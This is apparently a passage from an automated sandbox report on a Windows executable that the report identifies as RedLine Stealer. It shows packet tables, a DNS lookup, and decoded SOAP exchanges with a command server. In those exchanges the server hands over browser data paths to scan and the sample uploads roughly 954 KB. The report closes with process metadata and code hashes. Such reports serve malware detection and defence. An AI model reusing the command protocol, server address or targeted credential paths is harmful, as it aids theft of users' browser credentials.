Aug 31, 2024 18:37:04.111641884 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111730099 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111738920 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111819983 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111870050 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111879110 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.112025023 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.112759113 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.112828016 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.112835884 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.112843990 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.112911940 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.112946987 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.112955093 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113045931 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113054991 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113064051 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113179922 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113188982 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113197088 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113209963 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113221884 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113229990 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113255024 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113261938 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113270044 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113660097 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113670111 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113677979 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113686085 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113693953 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113702059 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113709927 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113717079 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113724947 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113735914 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113744020 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113797903 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.113806963 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.114780903 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.114856958 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.114866018 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115140915 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115150928 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115159035 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115168095 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115175962 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115186930 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115195036 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115202904 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115211010 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115217924 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115226030 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115232944 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115241051 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115248919 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115391016 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115406036 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115415096 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115422964 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115430117 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115437031 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115444899 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115452051 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115459919 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115467072 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115473986 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115480900 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115509033 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115518093 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115525007 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115533113 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115540028 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115547895 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115556002 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115564108 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115571022 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115578890 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115586042 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115592957 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115600109 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115948915 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115957022 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115966082 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.115972996 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.160370111 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:05.035249949 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:05.054048061 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:05.054147005 CEST	49702	40826	192.168.2.6	207.32.219.79

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 18:36:59.518759966 CEST	57284	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2024 18:36:59.518759966 CEST	192.168.2.6	1.1.1.1	0xb0cd	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 31, 2024 18:36:59.528151035 CEST	1.1.1.1	192.168.2.6	0xb0cd	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

207.32.219.79:40826

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	207.32.219.79	40826	4024	C:\Users\user\Desktop\EpCrfIUgyF.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 18:36:52.924194098 CEST	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 207.32.219.79:40826 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 31, 2024 18:36:53.574095964 CEST	25	IN	HTTP/1.1 100 Continue
Aug 31, 2024 18:36:53.700557947 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 31 Aug 2024 16:36:53 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Aug 31, 2024 18:36:58.996897936 CEST	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 207.32.219.79:40826 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 31, 2024 18:36:59.263631105 CEST	25	IN	HTTP/1.1 100 Continue
Aug 31, 2024 18:36:59.475749016 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 4760 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 31 Aug 2024 16:36:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49701	207.32.219.79	40826	4024	C:\Users\user\Desktop\EpCrfIUgyF.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 18:37:01.861643076 CEST	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 207.32.219.79:40826 Content-Length: 954436 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 31, 2024 18:37:03.507870913 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 31 Aug 2024 16:37:03 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49702	207.32.219.79	40826	4024	C:\Users\user\Desktop\EpCrfIUgyF.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 18:37:03.523591042 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 207.32.219.79:40826 Content-Length: 954428 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 31, 2024 18:37:05.035249949 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 31 Aug 2024 16:37:04 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	12:36:50
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\EpCrfIUgyF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\EpCrfIUgyF.exe"
Imagebase:	0xff0000
File size:	98'304 bytes
MD5 hash:	AC60F7A9E32582940C6B0FEEA4461324
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:36:50
Start date:	31/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	23
Total number of Limit Nodes:	1

Executed Functions

Function 06C29630 Relevance: 1.2, Instructions: 1188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1edbca342d6a4e33d84414b17e6a1d81c96f9607639ec6b877fc1e5d2b673a11
Instruction ID: 71da78d1da8c042425a8179c1edef9dcef12257e3a4d9cf9e99f8436671bf81c
Opcode Fuzzy Hash: 1edbca342d6a4e33d84414b17e6a1d81c96f9607639ec6b877fc1e5d2b673a11
Instruction Fuzzy Hash: B4826670B0012A8FDBA9EBBE945067D7AE7BFCC640B20546EC506EB394DE708D4187D6

Function 0186E7D0 Relevance: .9, Instructions: 901
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2211059909.0000000001860000.00000040.00000800.00020000.00000000.sdmp, Offset: 01860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1860000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0f3be1415151a67121c3a404ce9010df2cc01cb57aa4ba7d775d2cb0392eee8
Instruction ID: 595c94be1959e92093fed5b95e06a4a491435a711f5a52e282ecf86b95ad8f3a
Opcode Fuzzy Hash: b0f3be1415151a67121c3a404ce9010df2cc01cb57aa4ba7d775d2cb0392eee8
Instruction Fuzzy Hash: D382FC74B002198FDB15DF68D899B6DBBB2BF88301F1084A9E50AAB3A5DF709D41CF51

Function 06C24468 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d394193c3c156104a2e5812f92211397f670674233fb3edcea98aaff3fd4bdb3
Instruction ID: 8b4a4410da43fa8db7927809e31c8768a482ff1471737c65828b543d71a7c78c
Opcode Fuzzy Hash: d394193c3c156104a2e5812f92211397f670674233fb3edcea98aaff3fd4bdb3
Instruction Fuzzy Hash: 81824C74A102ABCFDBA8CF28D844B6977F6AF88315F1081A9D9059B396E734DD85CF40

Function 06C2DA30 Relevance: .7, Instructions: 694
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a07f0bc0fc69b75dc9f22cee3f7acb4706bd2e367ab9eca25f25611a284e888
Instruction ID: d4c16d5024875cbc767ff786a9dc608afdef1fdd64205a1be9ee5ce453a8950b
Opcode Fuzzy Hash: 9a07f0bc0fc69b75dc9f22cee3f7acb4706bd2e367ab9eca25f25611a284e888
Instruction Fuzzy Hash: 07423C70B0021A8FDB55DF7AC854AAEBBF6BF89300F148069E906EB355DE709D41CB91

Function 06C21210 Relevance: .4, Instructions: 437
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa02897a087b281fa78350130b21b174a471d38aea7afb41529416a636c5dec
Instruction ID: 4e5d0293af21b39afd04cb0516c2f047838fb2f8008a70ae90386ccfe332deb0
Opcode Fuzzy Hash: 0aa02897a087b281fa78350130b21b174a471d38aea7afb41529416a636c5dec
Instruction Fuzzy Hash: DEF11074A0021AAFDB84DFF9D854AAEBBF6FF88240F158429E905BB351CB359C01DB15

Function 06C23720 Relevance: .4, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b256ece03d04fd1989c5b0e5d95cc4770fc40f8d0591521dec5ac504b13a843
Instruction ID: 2ee9204cdcb6514ba7383190a8a356378ff3c11c905056910b6bf7212f0474e6
Opcode Fuzzy Hash: 8b256ece03d04fd1989c5b0e5d95cc4770fc40f8d0591521dec5ac504b13a843
Instruction Fuzzy Hash: FAF18131E102A7CFCB59DF75C4502ADFBB2BF85300F14866DD85AAB241DB789A85CB90

Function 06C275E8 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,06C274A6), ref: 06C27656

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 56c7318f29ee9da46b7fee907ff93ce865437fae26a43de6d143668e5a16aa75
Instruction ID: 5b3b11418e63d1cb564e4ed500957842f23fef25e2cd125f133ae4deac0d6b46
Opcode Fuzzy Hash: 56c7318f29ee9da46b7fee907ff93ce865437fae26a43de6d143668e5a16aa75
Instruction Fuzzy Hash: DF1103B5C0065A8BDB10DF9AC484ACEFBF4AF88220F20841AD959A7610D775A545CFA0

Function 06C26F98 Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,06C274A6), ref: 06C27656

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5a5a72b17a307790144e13b178fdaceefd3d9c6e119fdc9e24c3e2f0a9c3fd10
Instruction ID: 13f295b163535c6f2db6795e55dc2de24726ed85c2b16a30dd67f3e8ead72142
Opcode Fuzzy Hash: 5a5a72b17a307790144e13b178fdaceefd3d9c6e119fdc9e24c3e2f0a9c3fd10
Instruction Fuzzy Hash: 6B1112B1C0065A8FDB10DF9AC884A9EFBF4AF88220F14842AD819A7210D379A545CFA5

Function 01860D00 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 01860D67

Memory Dump Source

Source File: 00000000.00000002.2211059909.0000000001860000.00000040.00000800.00020000.00000000.sdmp, Offset: 01860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1860000_EpCrfIUgyF.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 6a31b295aeb6e323da780f9591c4a2e48a56d0ae5dce78b151909a46764044c5
Instruction ID: a32a5beb71eab4db4b89ebaccc9456e9d0c2804bb729a1860ee099aba4748b54
Opcode Fuzzy Hash: 6a31b295aeb6e323da780f9591c4a2e48a56d0ae5dce78b151909a46764044c5
Instruction Fuzzy Hash: C8114371D003498FEB20DFAAC445BEEBFF4EB88320F20891AD119A7240C779A504CF94

Function 01860D08 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 01860D67

Memory Dump Source

Source File: 00000000.00000002.2211059909.0000000001860000.00000040.00000800.00020000.00000000.sdmp, Offset: 01860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1860000_EpCrfIUgyF.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: e449a1897bef44e981a387618183559138402ec580fc63361a3f97148cfdccb8
Instruction ID: d48189ba60e83d87dc951be87351cee9edbc00359f6f1f7a2ee3b3d2531bc131
Opcode Fuzzy Hash: e449a1897bef44e981a387618183559138402ec580fc63361a3f97148cfdccb8
Instruction Fuzzy Hash: 2B113671D003498FDB20DFAAC445BDFFBF4AF88724F20851AD119A7240CB79A544CB95

Function 06C71550 Relevance: 1.4, Instructions: 1412
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2216247147.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c70000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac2b3bcc644b70d16515691344c103efad2d5ee46cc098a147560796e4040583
Instruction ID: 169026b25d58aacbc1a60150a0a65d8495f8a3f8c9530a23210d440101113c0d
Opcode Fuzzy Hash: ac2b3bcc644b70d16515691344c103efad2d5ee46cc098a147560796e4040583
Instruction Fuzzy Hash: EAC22E74B102189FDB54DF58C950EADBBB6FF88700F108099E64AAB3A1DB71EE418F51

Function 06C7349D Relevance: 1.3, Instructions: 1280
COMMON

